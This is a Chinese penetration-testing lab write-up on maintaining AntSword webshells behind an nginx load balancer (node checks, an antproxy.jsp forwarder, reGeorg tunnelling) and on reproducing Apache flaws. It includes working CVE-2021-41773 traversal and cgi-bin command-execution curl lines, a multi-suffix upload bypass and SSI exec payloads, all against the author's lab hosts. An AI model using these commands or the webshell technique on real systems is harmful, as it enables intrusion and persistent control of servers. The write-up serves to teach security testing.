负载均衡反向代理下的webshell上传+apache漏洞

一、负载均衡反向代理下的webshell上传

1、nginx 负载均衡

负载均衡策略	策略
轮询	请求顺序逐一分配
权重	按照权重大小分配
ip_hash	根据客户端IP分配
URL_hash	根据URL分配
least_conn	根据连接数分配

下来我简单介绍几种负载均衡的策略

1. 轮询
   轮询：nginx默认就是轮询其权重都默认为1，服务器处理请求的顺序：ABABABABAB…

upstream mysvr { server 192.168.137.131; server 192.168.137.136;       
}

注意：

• 在轮询中，如果服务器down掉了，会自动剔除该服务器。
• 缺省配置就是轮询策略。
• 此策略适合服务器配置相当，无状态且短平快的服务使用。

2. weight
   跟据配置的权重的大小而分发给不同服务器不同数量的请求

upstream mysvr { server 192.168.137.131 weihet = 100; server 192.168.137.136 weihet = 200;
}

3. ip_hash
   ip_hash:nginx会让相同的客户端ip请求相同的服务器

upstream mysvr { server 192.168.137.131; server 192.168.137.136;ip_hash;
}

2、搭建环境

github下载

cd /ant/loadbalance/loadbalance-jsp
docker-compose up  -d

这里我搭建环境的时候出了点问题，不知道为什么dockers-compose up -d 执行不了， 然后我我把docker-compose 删了重新安装发现还是不行，然后我恢复快照重新搭建环境，最后解决办法是卸载docker 重新安装docker和docker-compose。

cd /usr/local/bin/
#下载docker-compose
wget https://github.com/docker/compose/releases/download/1.14.0-rc2/docker-compose-Linux-x86_64
#重命名
rename docker-compose-Linux-x86_64 docker-compose docker-compose-Linux-x86_64
#给执行权限
chmod +x /usr/local/bin/docker-compose

上述下载方式有问题，由于compose更新了，Docker Compose V2 是 Docker Compose 的主要版本碰撞版本。它在Golang中完全重写了（V1是用Python编写的）。撰写 V2 的安装说明与 V1 不同。V2 不再是独立的二进制文件，必须调整安装脚本。
然后我们采用下列方式重新安装docker

#在 Linux上 安装 Docker
curl -sSL https://get.daocloud.io/docker | sh
#安装 Docker Compose
curl -L https://get.daocloud.io/docker/compose/releases/download/v2.16.0/docker-compose-`uname -s`-`uname -m` > /usr/local/bin/docker-compose
#给予执行权限
chmod +x /usr/local/bin/docker-compose

环境搭建完成，现在我们的整体框架如下图
nginx 反向代理到两台内网服务器上，Node1 和 Node2 均是 tomcat 8 ，在内网中开放了 8080 端口，他们两个之间可以互相通信，我们在外部是没法直接访问到的。

然后我们进入docker-nginx 查看一下nginx 配置。
做了轮询的负载均衡策略。

假定在真实的业务系统上，存在一个 RCE 漏洞，可以让我们获取 WebShell。
上传我们的一句话木马。
尝试用蚁剑登录

成功连接目标，因为两台节点都在相同的位置存在 ant.jsp，所以连接的时候也没出现什么异常。

3、负载均衡下的 WebShell连接的难点总结

难点一、需要在每一台节点的相同位置都上传相同内容的 WebShell

假如说node1上有ant.jsp，node2上没有，这就会出现一会连接失败，一会连接正常的问题
我们进入node2删除ant.jsp

一旦有一台机器上没有，那么在请求轮到这台机器上的时候，就会出现 404 错误，影响使用。还好负载均衡的策略是轮询，还存在一定的规律，如果是其他策略，更难以把控。

难点二、无法预测下次的请求交给哪台机器去执行。

由于难点一测试时删除了 node2的ant.jsp，我们重新copy一下
docker cp ant.jsp 46c0af8b0ca3:/usr/local/tomcat/webapps/ROOT/ant.jsp
由于nginx服务器上配置了 轮询负载均衡，所以我们无法下次的请求交给哪台机器去执行，有点飘忽不定。

难点三、下载文件时，可能会出现飘逸，导致下载失败。

由于 antSword 上传文件时，采用的分片上传方式，把一个文件分成了多次HTTP请求发送给了目标，导致两台节点上，各一半，而且这一半到底是怎么组合的，取决于 LBS 算法

难点四、目标机器不能出外网

目标机器不能出外网，要想深入，只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel，但隧道随时可能断开连接，tunnel 脚本全部都会失效。
1、reGeorg内网渗透工具
ReGeorg可以称为内网代理。实际上，它可以起到代理的作用

模拟上图的场景
主机A、主机B、攻击者
假如主机A上运行了Web服务，且IP或者端口映射到公网，可以被外部人员访问，主机B是在外网访问不到的。攻击者通过漏洞在主机A上传了Webshell，但同时又出于某些限制并未能得到主机A的主机权限也无法反弹shell，那么他这个时候，也是无法通过常规方法反弹shell或者直接登录主机A从而访问到主机B的。

ReGeorg就在这个时候起了作用，攻击者已经有了主机A的webshell权限（即可以在web服务器中上传文件），而主机A可以和主机B通信。那么在主机A上安装reGeorg工具，使得攻击者发出的请求以及目标机器的响应经过A的http转发，达到攻击者可以和主机B进行通信的效果。
2、ab（http）与abs（https）压测工具
ab全称为：apache bench
ab是Apache超文本传输协议(HTTP)的性能测试工具。其设计意图是描绘当前所安装的Apache的执行性能，主要是显示你安装的Apache每秒可以处理多少个请求。

总结

看似四个难点，归根结底是由于nginx,上配置了负载均衡的问题，我们无法预测，管控下一次请求在那台服务器上，所以导致了这一系列问题，下面我们介绍一些解决办法。

4、解决方法

方法一、关机/停服

关掉其中一台机器，这种行为最不推荐，但如果你不在乎关掉服务器的损失当我没说。这种方法影响业务，不建议尝试，测试除外。

方法二、判断是否执行

既然无法预测下一次是哪台机器去执行，我们可以在Shell 执行 Payload 之前，判断要不要执行。
创建shell 脚本

MYIP = `ifconfig | grep "inet 172" | awk "{print $2}"`
if [ $MYIP == "172.18.0.3" ];thenecho = "aaaaaaaa"ifconfig
elseecho = "bbbbbbbb"
fi

蚁剑不知道出现莫名的问题

方法三、在Web层做 HTTP 流量转发

我们用 AntSword 没法直接访问 LBSNode1 内网IP(172.23.0.2)的 18080 端口，但是有人能访问呀，除了 nginx 能访问之外，LBSNode2 这台机器也是可以访问 Node1 这台机器的 18080 端口的

我们的目的是：所有的数据包都能发给「LBSNode 1」这台机器。
如上图所示，我们可以在node2上做数据转发，整合数据后转发给node1
首先：我们通过nginx,直接访问node1，
其次：我们把请求发给Node2,Node2 上面的 /antproxy.jsp 把请求重组之后，传给了 Node1 的 /ant.jsp，成功执行。

1.创建 antproxy.jsp 脚本

修改数据转发的目标地址

注意：
不要使用上传功能，上传功能会分片上传，导致分散在不同 Node 上。
要保证每一台 Node 上都有相同路径的 antproxy.jsp，保证每一台都上传了脚本

2.修改 Shell 配置, 将 URL 部分填写为 antproxy.jsp 的地址

这里转发的目标地址，我第一次改成172.18.0.2:18080,出现蚁剑连接不上的问题，然后改成172.18.0.2:8080，就可以连接成功。

3. 测试执行命令, 查看 IP

这个方法有个缺点，需要目标Node1和 Node2之间内网互通，如果不互通，就无法解决问题。

二、apache漏洞

1、Apache HTTPD 换行解析漏洞(环境没搭建成功)

Apache HTTPD 换行解析漏洞（CVE-2017-15715）
影响版本：2.4.0~2.4.29
影响说明：Apache HTTPD是一款HTTP服务器，它可以通过mod_php来运行PHP网页。在解析PHP时，1.php\x0a将被按照PHP后缀进行解析，导致绕过一些服务器的安全策略。

在1.php后面插入一个\x0A,php会解析成1.php%0a,从而成功解析

2、Apache HTTPD 多后缀解析漏洞

Apache HTTPD 支持一个文件拥有多个后缀，并为不同后缀执行不同的指令。比如，如下配置文件：

AddType text/html .html
AddLanguage zh-CN .cn

其给.html后缀增加了media-type，值为text/html；给.cn后缀增加了语言，值为zh-CN。此时，如果用户请求文件index.cn.html，他将返回一个中文的html页面。
意思就是说只要文件后缀中包含了 html、php的文件,他就可以被解析成相应的文件.

以上就是Apache多后缀的特性。如果运维人员给.php后缀增加了处理器：

AddHandler application/x-httpd-php .php
那么，在有多个后缀的情况下，只要一个文件含有.php后缀的文件即将被识别成PHP文件.
漏洞复现
环境运行后，访问http://192.1`68.137.131/uploadfiles/apache.php.jpeg即可发现，phpinfo被执行了，该文件被解析为php文件。
我们就可以利用Apache解析漏洞进行getshell。

3、Apache Solr 远程命令执行漏洞（没写完）

Apache Solr 远程命令执行漏洞（CVE-2019-0193）
影响版本：Apache Solr < 8.2.0 的版本
影响说明：Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发，主要基于 HTTP 和 Apache Lucene 实现。此次漏洞出现在Apache Solr的DataImportHandler，该模块是一个可选但常用的模块，用于从数据库和其他源中提取数据。它具有一个功能，其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。由于DIH配置可以包含脚本，因此攻击者可以通过构造危险的请求，从而造成远程命令执行。
在Apache Solr < 8.2.0 的版本中， DataImportHandler的dataConfig参数为用户可控，攻击者可通过构造恶意的dataConfig脚本交由转换器（Transformers）进行解析，而Solr在解析的过程中并未对用户输入的脚本进行检查，导致攻击者可在Solr服务器上执行任意代码。

solr 工作机制
1.solr是在lucene工具包的基础之上进行了封装，并且以web服务的形式对外提供索引功能
2.业务系统需要使用到索引的功能（建索引，查索引）时，只要发出http请求，并将返回数据进行解析即可

Solr DataImportHandler
Solr DataImportHandler可以批量把数据导入到索引库中.

DataImportHandler有如下功能：1、读取关系数据库中数据或文本数据2、根据配置从xml（http/file方式）读取与建立索引数据3、根据配置聚合来自多个列和表的数据来构建Solr文档4、使用文档更新Solr（更新索引、文档数据库等）5、根据配置进行完全导入的功能（full-import，完全导入每次运行时会创建整个索引）6、检测插入/更新字段并执行增量导入（delta-import，对增加或者被修改的字段进行导入）7、调度full-import与delta-import8、可以插入任何类型的数据源（ftp，scp等）和其他用户可选格式（JSON，csv等）

这里有前辈做的一张图，来帮助我们理解。

Core：索引库，其中包含chema.xml/managed-schema，schema.xml是模式文件的传统名称，可以由使用该模式的用户手动编辑，managed-schema是Solr默认使用的模式文件的名称，它支持在运行时动态更改，data-config文件可配置为xml形式或通过请求参数传递（在dataimport开启debug模式时可通过dataConfig参数传递）
漏洞利用的前提条件: Solr有一个具有dataimport功能的core，这个功能需要在这个core对应的配置文件中指定节点的class属性为，solrconfig.xmlrequestHandlersolr.DataImportHandler

且Solr未开启认证（默认未开启认证），在这种情况下，Solr Admin UI上的操作是不需要登录凭据的。

开启认证可通过编辑配置文件：server/solr-webapp/webapp/WEB-INF/web.xml
复现漏洞
搭建环境

运行环境

docker-compose up -d
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db

访问http://192.168.137.131:8983/即可查看到Apache solr的管理页面，无需登录

4、Apache HTTP 服务器的路径穿越和文件泄露漏洞

Apache HTTP 服务器 2.4.49 中的路径穿越和文件泄露漏洞 （CVE-2021-41773）
影响版本：2.4.49
影响说明：在 Apache HTTP Server 2.4.49 中对路径规范化所做的更改中发现一个缺陷。攻击者可以使用路径遍历攻击将 URL 映射到预期文档根目录之外的文件。
如果这些目录之外的文件不受通常的默认配置“要求全部拒绝”的保护，则这些请求可以成功。如果还为这些别名路径启用了 CGI 脚本，则可能允许远程执行代码。
漏洞复现

curl -v --path-as-is http://your-ip:8080/icons/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

/%2e%2e/ 就是/…/ ,且icons目录存在，执行命令后，就行当于返回到根目录下执行/etc/passwd
如果在服务器上启用 mods cgi 或 cgid 的话，此路径遍历漏洞将允许任意命令执行：

curl -v --data "echo;id" 'http://your-ip:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'

什么是cgi?
CGI的全称是Common Gateway Interface，通用网关接口。粗略地说，CGI就是位于服务器端的处理网页请求的程序。CGI程序本身是服务器操作系统上的一个简单的应用程序，它接受输入进行处理并输出内容，这些输入输出都又通过Web服务器软件（比如apache）处理，最终完成需要的功能。

5、Apache SSI 远程命令执行漏洞

影响说明：在测试任意文件上传漏洞的时候，目标服务端可能不允许上传php后缀的文件。如果目标服务器开启了SSI与CGI支持，我们可以上传一个shtml文件，并利用<!–#exec cmd=“id” -->语法执行任意命令。
漏洞复现
环境启动后，访问http://192.168.137.140:8080/upload.php，即可看到一个上传表单。
然后我们上传一个1.shtml文件

<!--#exec cmd="id" -->

然后我们用burpsuite 测试一下

然后我们修改post 改成我们的1.shtml 运行后成功执行了<!–#exec cmd=“id” -->命令

上述提到SSI
什么是SSI？
SSI（服务器端包含）是放置在 HTML 页面，并在页面 被服务。它们允许您将动态生成的内容添加到 现有 HTML 页面，而不必提供整个页面 通过CGI程序或其他动态技术。

例如，您可以将指令放入现有 HTML 中 页面，例如：

<!--#echo var="DATE_LOCAL" -->并且，当页面投放时，将评估此片段并将其替换为其值：Tuesday, 15-Jan-2013 19:28:54 EST

各个服务器对SSI命令的支持各有不同，但 #include 和 #exec 是通用的。使用 SSI 的页面文件通常都使用扩展名.shtml，而不是.html 或 .htm，这样以便服务器能够辨认出哪些页面包含SSI指令，这些页面需要先经过服务器处理，翻译执行其中的SSI指令，然后才发送给客户端浏览器。 (当然有些服务器还是支持.html,.htm文件中有SSI指令的)。

如何辨认服务器是否支持SSI？

1. 拷贝以下HTML内容，保存为文件名test.shtml

<!–#echo var=”DATE_LOCAL” –>

2. 将这个文件上载到你的服务器上，然后用浏览器浏览服务器上的这个网页。

3. 如果看到网页显示当前日期，则你的服务器支持 SSI。